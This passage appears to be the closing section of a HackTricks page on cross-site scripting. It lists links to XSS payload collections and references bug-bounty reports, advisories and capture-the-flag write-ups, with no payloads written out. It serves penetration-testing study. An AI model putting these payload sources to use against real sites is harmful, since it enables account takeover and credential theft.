 Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 
 ## Misc JS Tricks & Relevant Info
 
 
 [Other Js Tricks](/hacktricks/pentesting-web/xss-cross-site-scripting/other-js-tricks)
 
 ## XSS resources
 
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
 - [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
 - [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
 - [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
 - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
 - [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
 
 ## References
 
 - [1] [Turning a harmless XSS behind a WAF into a realistic phishing vector](https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/)
 - [2] [XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail](https://security.lauritz-holtmann.de/post/xss-ssrf-list-unsubscribe/)
 - [3] [HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF](https://hackerone.com/reports/2902856)
 - [4] [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
 - [5] [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)
 - [6] [CAPIG XSS: postMessage origin trust becomes a script loader + backend JS concatenation enables supply-chain stored XSS](https://ysamm.com/uncategorized/2026/01/13/capig-xss.html)
 - [7] [MobSF stored XSS via manifest analysis (unsafe Django safe sink)](https://github.com/advisories/GHSA-8hf7-h89p-3pqj)
 - [8] [Improving the impact of a mouse-related XSS with styling and CSS Gadgets](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
 - [9] [nokline.github.io - 07 - Zoom ATO](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html)
 - [10] [hackerone.com - from this report](https://hackerone.com/reports/709336)
 - [11] [gremwell.com - Firefox Xss 302](https://www.gremwell.com/firefox-xss-302)
 - [12] [hahwul.com - Forcing Http Redirect Xss](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss)
 - [13] [zwade/yaca](https://github.com/zwade/yaca/tree/master/solution)
 - [14] [gitea.nitowa.xyz - Nitowa - PlaidCTF YACA](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)
 - [15] [Huli - What I Learned From Dicectf 2022 - Index: Miscx2fundefined55 Solves](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)
 - [16] [stackoverflow.com - According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050)
 - [17] [blog.arkark.dev - 18 - Seccon En: Web Piyosay](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)
 - [18] [adico.me - Xss In Gmail S Amp4email](https://adico.me/post/xss-in-gmail-s-amp4email)